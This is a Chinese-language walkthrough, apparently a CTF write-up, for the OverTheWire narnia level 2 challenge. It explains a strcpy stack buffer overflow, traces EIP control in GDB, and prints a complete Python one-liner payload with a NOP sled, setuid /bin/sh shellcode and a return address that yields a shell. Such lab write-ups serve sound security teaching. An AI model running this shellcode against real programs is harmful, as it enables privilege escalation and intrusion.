首页 > 代码库 > Wargame narnia level 2 (中文攻略)
Wargame narnia level 2 (中文攻略)
前面省略连接部分……
cat narnia2.c
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }
一个很经典的溢出……
原因就是 strcpy() 复制字符串前没有对长度进行检查……
当然,如果是在WINDOWS下的话,实行溢出是非常简单的(有各种强大的软件,OD等)
但现在我们在别人的服务器上,那怎么来愉快地玩耍呢?
用苦逼的LINUX自带调试器GDB。。。
gdb narnia2
改变汇编语言的格式
set disassembly-flavor intel
disassemble main
我们需要的是字符串复制后的内存分布,以便找到shellcode的地址
然后在这四处下断,以便更好理解EIP是怎样被控制的
然后 随机输入一个字符串进行复制
这里输入的是100个a
执行前的 esp , ebp 地址 以及 esp 附近内存数据
执行strcpy这个call后 ,
在 执行 0x0804848b leave 前 看下ebp的地址
leave 等价于 mov esp,ebp, pop ebp
在执行下一句 ret 前, 查看一下此时ESP地址附近数据, ( RET 等价于POP EIP)
此时的EIP 是 0xffffd6cc 的双字, 也就是我们要覆盖的和控制的地址。
然后我们就可以构造自己的shellcode 了, 形式是NNNNNNSSSSNNA
`python -c ‘print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x68\xd6\xff\xff" ‘`
注意后面的地址不能直接指向复制字符串的开头,不然会GG(原因是目录名的长度会使字符串位置发生移动)
还有后面要补8字节\x90 , 这个目前不知道为什么= =, 单纯用NNNNNSSSA 的形式的话,好像利用会失败……
最终:
成功拿到下一关的密码